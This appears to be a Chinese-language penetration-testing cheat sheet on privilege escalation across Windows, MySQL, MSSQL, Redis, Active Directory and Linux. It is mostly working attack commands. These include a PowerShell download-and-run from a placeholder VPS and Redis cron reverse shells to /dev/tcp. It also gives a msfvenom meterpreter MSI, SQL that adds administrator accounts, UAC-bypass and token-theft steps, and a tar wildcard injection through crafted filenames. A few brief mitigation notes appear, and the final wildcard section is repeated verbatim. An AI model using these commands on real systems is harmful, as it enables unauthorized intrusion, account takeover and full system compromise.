systeminfo
Wmic qfe get Caption,Description,HotFixID,Installedon
查询指定补丁
Wmic qfe get Caption,Description,HotFixID,Installedon | findstr /C "KB2999226"
利用 Metasploit 中的 post/windows/gather/enum_patches
wesng
Vlumap(更适用于Linux)https://github.com/zhzyker/vulmap
WindowsVulnScan https://github.com/chroblert/WindowsVulnScan
ms16-032提权漏洞
影响范围:
Windows Vista
Windows 7
Windows 8.1
Windows 10
Windows 2008 Server
Windows 2012 Server
漏洞复现:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://VPS/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup administrators px /add'"
如果在操作系统层面,没有可利用的提权漏洞可以尝试数据库提权。利用数据库提权的前提条件是:服务器启用数据库并且获取到数据库最高权限密码。
数据库密码获取
UDF提权
UDF提权之前先要确定MYSQL版本 和 MYSQL安装目录
select version(); select @@basedir();
创建 /lib/plugin目录
创建目录有两种方式
直接使用 Webshell :创建/lib/plugin/ 文件夹成功后直接使用上传 .dll 文件 根据mysql位数选择 .dll文件
创建函数 (从.dll文件中引入 自定义函数)
create function sys_eval returns string soname 'udf.dll';
查看函数是否创建
select * from mysql.func where name = 'sys_eval';
使用函数执行系统命令
select sys_eval('whoami');
select sys_eval('net user box /add');
select sys_eval('net localgroup administrators box /add');
删除函数
drop function sys_eval;
delete from mysql.func where name='sys_eval';
MOF提权
成功率不高
https://www.cnblogs.com/xishaonian/p/6384535.html
启动项提权
前提:允许数据库 root 用户远程连接 确保 secure_file_priv=
可以对MySQL导入导出
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;
show global variables like '%secure%';
使用 Metasploit
exploit/windows/mysql/mysql_start_up 模块 在启动项目录下上传后门程序
使用xp_cmdshell组件进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开
-- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 关闭 xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
-- 执行:
EXEC master.dbo.xp_cmdshell '命令'
-- 如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
开启 xp_cmdshell 之后,再次执行EXEC master.dbo.xp_cmdshell 'whoami'
命令,成功提权到system权限。
** 使用sp_oacreate 组件提权**
-- 执行命令后,报错提示 sp_oacreate组件 被关闭
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
-- 开启 sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
-- 关闭 sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
使用 SQL Server沙盒提权
-- 关闭沙盒
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-- --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';
-- 执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user qianxun 123456 /add")')
-- 恢复配置
exec master..xp_regwrite 'HKEY_LOCALMACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
利用计划任务执行命令反弹shell
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
CVE-2018-1058 提权漏洞
CVE-2019-9193高权限命令执行
Windows系统服务文件在操作系统启动时加载和执行,并在后台调用执行文件。因此,如果一个低权限的用户对此类型服务调用的可执行文件拥有写权限,就可以将该文件替换为任意可执行文件,并随着系统服务获取系统权限。Windows服务是以System权限运行的,虽然其文件夹、文件、注册表键都是受强访问控制机制波保护的。但是,在某些特殊情况任然存在一些没有得到有效保护的服务。
系统服务权限配置错误:
Powerup是本地特权提升的一些调用方法,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权,也是 PowerShell Empire和PowerSploit 的一部分。
下载地址:[https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1]
更多用法参考:[https://blog.csdn.net/l1028386804/article/details/86089574]
注册表键 AlwaysInstallElevated
AlwaysInstallElevated 是一个策略设置选项。Windows允许低权限用户以System权限运行安装文件。即如果开启这个选项,那么任何用户都可以以 **NT AUTHORITY\SYSTEM **权限来安装恶意MSI文件。
判断是否开启 AlwaysInstallElevated
注册表键值判断:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
powerUp判断
Get-RegAlwaysInstallElevated
激活 AlwaysInstallElevated
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
提权
# 生成一个远控msi
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.170 lport=4444 -i 3 -e x86/shikita_ga_nai -f msi -o shell.msi
# 安装运控 /quite 在安装过程中禁止向用户发送消息 /qn 不适用 GUI
msiexec /q /i shell.msi
当我们获取到一个 meterprter 会话后,使用service_permissions进行提权。
设置好会话编号
执行 exploit 获得一个新的 meterprter 会话(system权限)
可信服务路径漏洞利用Windows文件路径解析特性,并涉及服务路径的文件、文件夹权限。如果一个服务调用一个可执行文件没有正确的处理引用完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么就存在该漏洞。
查看服务对应的路径包含空格且没有被引号引起来
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\windows\\" | findstr /i /v """
icacls "c:\program Files\grogram folder"
Windows 2008 Server引入了一项称为组策略首选项的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。
SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。
所有的组策略均存储在如下位置::\\SYSVOL
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,即Groups.xml,该文件中保存了该组策略更新后的密码。
此密码的加密方式为AES-256。尽管此加密十分难以破解,但是微软公司将其加密的密钥公开了。
The 32-byte AES key is as follows:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
gpp-decrypt 命令
Get-GPPPassword.ps1
在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,针对Everyone访问权限进行设置,具体如下:
1、设置共享文件夹SYSVOL的访问权限 2、将包含组策略密码的 XML 文件从 SYSVOL 目录中删除 3、不要把密码放在所有域用户都有权访问的文件中 4、如果需要更改域中机器的本地管理员密码,建议使用LAPS
UAC(UserAccount Control,用户账户控制)时微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者可能影响其他用户设置之前,应拥有相应的权限或者管理员密码。UAC在操作之前对用户身份进行验证,避免恶意软件在未经许可的情况下在计算机上进行安装操作或者对计算机进行更改。
bypassuac模块
该模块通过进程注入使可信任发布者证书绕过Windows UAC,使用时需要保证UAC设置为默认(仅在程序试图更改我的计算机时通知我)
当获取一个普通权限的meterprter shell是,尝试权限提升。直接执行 getsystem 提权失败。使用 use exploit/windows/local/bypassuac 模块设置session 获取一个新的 meterprter shell ,再次getsystem 权限提升。
bypassuac_injection 模块
此模块通过内存注入使用可信任的发布者证书绕过UAC(该模块需要选择正确的体系架构)直接运行在内存的反射DLL中,降低了触发杀软的概率。
bypassuac_eventvwr / bypassuac_fodhelper模块提权
通过当前用户配置单元下劫持注册表中特殊的键并插入将在启动Windows时间查看器 / fodhelper.exe应用程序时调用自定义命令来绕过UAC。
RunAs模块提权
使用 exploit/windows/local/ask 模块,创建一个可执行文件,目标机器发起提权请求(需要受害者配合),目标机器会弹出UAC对话框,当时受害者确认运行时就返回mtererprter shell。
Nishang 中 Invoke-PsUACme模块
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose #使用sysprep方法并执行默认的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose #使用oobe方法并执行默认的payload
Empire bypassuac
usemodule privesc/bypassuac 模块
在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。
使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在Windows Vista中一样,总是弹出警告)。
令牌(Token)是指系统的临时密钥,相当于账号密码,用于决定是否允许当前请求以判断当前请求是哪个用户的。即获得某个令牌就相当于获得了某个用户权限,可以凭借令牌访问网络资源。这些令牌存放于系统中。
令牌的最大特点就是随机性和不可预测性。一般攻击者或软件都无法猜测出令牌。访问令牌(Access Token)代表访问控制操作主体的系统对象,密保令牌(Security Token)也叫做认证令牌后者硬件令牌,是一种用于实现计算机身份验证的如理设备,例如U盾。会话令牌(Session Token)是交互会话唯一的身份标识。
**注意:**一般适用于WIndows server 2008以及之前操作系统
# 载入 incognito
meterpreter > use incognito
# 列出 可用令牌 Delegation Token 为授权令牌,支持交互式登录;另一种是Impersonation Token 为模拟令牌
meterpreter > list_tokens -u
# 假冒Administrator 用户
meterpreter > impersonate_token WIN-7TM72GAAEEU\\Administrator
使用 use exploit/windows/local/ms16_075_reflection_juicy 模块
实现 IIS APPPOOL\ueditor -> NT AUTHORITY\SYSTEM提权提升
第三方程序->进程显示->选择可替换的DLL文件->生成恶意DLL->替换原有DLL->等待程序启动加载恶意DLL->令牌窃取
使用 meterprter会话 输入 "ps"命令列出系统进程。找到域管理进行,使用 migrate命令迁移到该进程,在meterprter会话控制台输入 “shell” 进入 CMD界面。
CMD界面添加域用户
# 添加用户
net user username password /add domain
# 加入 域管理员组
net group "domain admins" /domain
直接在 meterprter会话使用 incognito 来模拟域管理员,然后添加域管理员
meterprter 中添加域管理员
# 添加用户
add_user username password -h host
# 加入 域管理员组
add_group_user "Domain Admins" username -h host
自动化脚本信息收集
LinEnum https://github.com/rebootuser/LinEnum
漏洞探针
linux-exploit-suggester
SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文 件。例如,Linux ping命令通常需要root权限才能打开网络套接字。通过将ping程 序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权 执行ping。
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位 上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户 特权。它可以是root用户,也可以只是另一个用户。如果在程序中设置了suid,该位 可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权。
以下是用于产生 shell的程序
nmap
vim
less
more
nano
cp
mv
find
查找suid和guid文件
find / -perm -u=s -type f 2>/dev/null
# 创建一个文件 test123
touch /tmp/test123
find / -name test123 -exec whoami \;
脏牛漏洞 CVE-2016-5195
exp 连接 https://github.com/gbonacini/CVE-2016-5195
编译;
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
通配符引起的提权
查看现有计划任务
这是一个定时备份的计划任务,打包 /home/www/test 目录下的所有文件,利用 tar命令特性可以实现提取
在 /home/www/test 目录下
# 反弹shell的文件
echo "bash -i >& /dev/tcp/ip/port 0>&1" > shell.sh
# 创建两个文件特殊命名 由于压缩使用了通配符 将下面两个文件名解析成 tar命令的参数 实现命令执行
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh shell.sh"
任务提权
通配符引起的提权
查看现有计划任务
这是一个定时备份的计划任务,打包 /home/www/test 目录下的所有文件,利用 tar命令特性可以实现提取
在 /home/www/test 目录下
# 反弹shell的文件
echo "bash -i >& /dev/tcp/ip/port 0>&1" > shell.sh
# 创建两个文件特殊命名 由于压缩使用了通配符 将下面两个文件名解析成 tar命令的参数 实现命令执行
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh shell.sh"